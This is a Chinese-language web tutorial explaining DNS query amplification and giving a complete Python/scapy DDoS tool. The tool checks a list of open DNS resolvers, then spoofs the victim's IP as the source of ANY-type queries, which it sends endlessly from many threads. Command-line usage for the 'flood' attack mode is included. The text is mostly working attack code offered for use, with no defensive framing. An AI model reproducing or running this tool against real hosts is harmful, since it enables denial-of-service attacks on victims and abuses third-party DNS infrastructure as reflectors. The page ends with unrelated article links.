Python DNS查詢放大攻擊實現(xiàn)原理解析
查詢放大攻擊的原理是,通過網(wǎng)絡中存在的DNS服務器資源,對目標主機發(fā)起的拒絕服務攻擊,其原理是偽造源地址為被攻擊目標的地址,向DNS遞歸服務器發(fā)起查詢請求,此時由于源IP是偽造的,固在DNS服務器回包的時候,會默認回給偽造的IP地址,從而使DNS服務成為了流量放大和攻擊的實施者,通過查詢大量的DNS服務器,從而實現(xiàn)反彈大量的查詢流量,導致目標主機查詢帶寬被塞滿,實現(xiàn)DDOS的目的。

此時我們使用scapy工具構建一個DNS請求數(shù)據(jù)包 sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="qq.com")),timeout=2) 查詢指定網(wǎng)站的DNS記錄,結果如下。

上圖可以看出,我們所發(fā)送的數(shù)據(jù)長度要小于接收到的數(shù)據(jù)長度,流量差不多被放大了3倍左右,我們只需要將源地址偽造為被害機器,并使用海量的DNS服務器作為僵尸主機發(fā)包,即可完成DDOS攻擊。
這里需要在網(wǎng)上找一些DNS服務器。
import socket,os,sys
from scapy.all import *
def Inspect_DNS_Usability(filename):
proxy_list = []
fp = open(filename,"r")
for i in fp.readlines():
try:
addr = i.replace("\n","")
respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
if respon != "":
proxy_list.append(str(respon["IP"].src))
except Exception:
pass
return proxy_list
proxy = Inspect_DNS_Usability("./dnslist.log")
fp = open("pass.log","w+")
for item in proxy:
fp.write(item + "\n")
fp.close()
驗證好有效性以后,接著就是Python多線程發(fā)包測試了,scapy構建數(shù)據(jù)包時由于DNS數(shù)據(jù)包比較特殊,構建是應該按照順序 IP/UDP/DNS來構建,以下代碼可以完成發(fā)包測試
import socket,os,sys from scapy.all import * # 構造IP數(shù)據(jù)包 ip_pack = IP() ip_pack.src = "192.168.1.2" ip_pack.dst = "8.8.8.8" # 構造UDP數(shù)據(jù)包 udp_pack = UDP() udp_pack.sport = 53 udp_pack.dport = 53 # 構建DNS數(shù)據(jù)包 dns_pack = DNS() dns_pack.rd = 1 dns_pack.qdcount = 1 # 構建DNSQR解析 dnsqr_pack = DNSQR() dnsqr_pack.qname = "baidu.com" dnsqr_pack.qtype = 255 dns_pack.qd = dnsqr_pack respon = (ip_pack/udp_pack/dns_pack) sr1(respon)
最終的完整代碼如下所示,通過大量的DNS查詢請求實現(xiàn)針對目標主機的拒絕服務.
import os,sys,threading,time
from scapy.all import *
import argparse
def Inspect_DNS_Usability(filename):
proxy_list = []
fp = open(filename,"r")
for i in fp.readlines():
try:
addr = i.replace("\n","")
respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
if respon != "":
proxy_list.append(str(respon["IP"].src))
except Exception:
pass
return proxy_list
def DNS_Flood(target,dns):
# 構造IP數(shù)據(jù)包
ip_pack = IP()
ip_pack.src = target
ip_pack.dst = dns
# ip_pack.src = "192.168.1.2"
# ip_pack.dst = "8.8.8.8"
# 構造UDP數(shù)據(jù)包
udp_pack = UDP()
udp_pack.sport = 53
udp_pack.dport = 53
# 構造DNS數(shù)據(jù)包
dns_pack = DNS()
dns_pack.rd = 1
dns_pack.qdcount = 1
# 構造DNSQR解析
dnsqr_pack = DNSQR()
dnsqr_pack.qname = "baidu.com"
dnsqr_pack.qtype = 255
dns_pack.qd = dnsqr_pack
respon = (ip_pack/udp_pack/dns_pack)
sr1(respon)
def Banner():
print(" _ ____ _ _ ")
print(" | | _ _/ ___|| |__ __ _ _ __| | __")
print(" | | | | | \___ \| '_ \ / _` | '__| |/ /")
print(" | |__| |_| |___) | | | | (_| | | | < ")
print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\")
print(" |___/ \n")
print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
Banner()
parser = argparse.ArgumentParser()
parser.add_argument("--mode",dest="mode",help="選擇執(zhí)行命令<check=檢查DNS可用性/flood=攻擊>")
parser.add_argument("-f","--file",dest="file",help="指定一個DNS字典,里面存儲DNSIP地址")
parser.add_argument("-t",dest="target",help="輸入需要攻擊的IP地址")
args = parser.parse_args()
if args.mode == "check" and args.file:
proxy = Inspect_DNS_Usability(args.file)
fp = open("pass.log","w+")
for item in proxy:
fp.write(item + "\n")
fp.close()
print("[+] DNS地址檢查完畢,當前可用DNS保存為 pass.log")
elif args.mode == "flood" and args.target and args.file:
with open(args.file,"r") as fp:
countent = [line.rstrip("\n") for line in fp]
while True:
randomDNS = str(random.sample(countent,1)[0])
print("[+] 目標主機: {} -----> 隨機DNS: {}".format(args.target,randomDNS))
t = threading.Thread(target=DNS_Flood,args=(args.target,randomDNS,))
t.start()
else:
parser.print_help()使用方式首先準備一個test.log里面一行一個存放所有的已知DNS列表,并通過check命令驗證該DNS是否可用,并將可用的DNS保存為pass.log
main.py --mode=check -f dns.txt

當需要發(fā)起攻擊時,只需要指定pass.log 文件,則自動使用該DNS列表進行批量查詢。
main.py --mode=flood -f pass.log -t 192.168.1.1

到此這篇關于Python DNS查詢放大攻擊實現(xiàn)原理解析的文章就介紹到這了,更多相關Python DNS查詢放大攻擊內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
vue.js實現(xiàn)輸入框輸入值內容實時響應變化示例
這篇文章主要介紹了vue.js實現(xiàn)輸入框輸入值內容實時響應變化,結合實例形式分析了vue.js使用v-model屬性進行數(shù)據(jù)綁定的相關操作技巧,需要的朋友可以參考下2018-07-07
Python通過TensorFLow進行線性模型訓練原理與實現(xiàn)方法詳解
這篇文章主要介紹了Python通過TensorFLow進行線性模型訓練原理與實現(xiàn)方法,結合實例形式詳細分析了Python通過TensorFLow進行線性模型訓練相關概念、算法設計與訓練操作技巧,需要的朋友可以參考下2020-01-01
使用Python和scikit-learn創(chuàng)建混淆矩陣的示例詳解
這篇文章主要介紹了使用Python和scikit-learn創(chuàng)建混淆矩陣的示例詳解,該示例包括生成數(shù)據(jù)集、為數(shù)據(jù)集選擇合適的機器學習模型、構建、配置和訓練它,最后解釋結果,即混淆矩陣,需要的朋友可以參考下2022-06-06
python讓圖片按照exif信息里的創(chuàng)建時間進行排序的方法
這篇文章主要介紹了python讓圖片按照exif信息里的創(chuàng)建時間進行排序的方法,涉及Python操作圖片exif獲取信息的技巧,需要的朋友可以參考下2015-03-03
PyCharm 安裝與使用配置教程(windows,mac通用)
很多小伙伴下載安裝PyCharm后不會使用,這篇文章詳細介紹了PyCharm安裝與使用教程(windows,mac通用),需要的朋友可以參考下2021-05-05
Python中ArcPy柵格裁剪柵格(批量對齊柵格圖像范圍并統(tǒng)一行數(shù)與列數(shù))
本文介紹基于Python中ArcPy模塊,實現(xiàn)基于柵格圖像批量裁剪柵格圖像,同時對齊各個柵格圖像的空間范圍,統(tǒng)一其各自行數(shù)與列數(shù)的方法,本文通過實例代碼給大家介紹的非常詳細,需要的朋友可以參考下2023-02-02

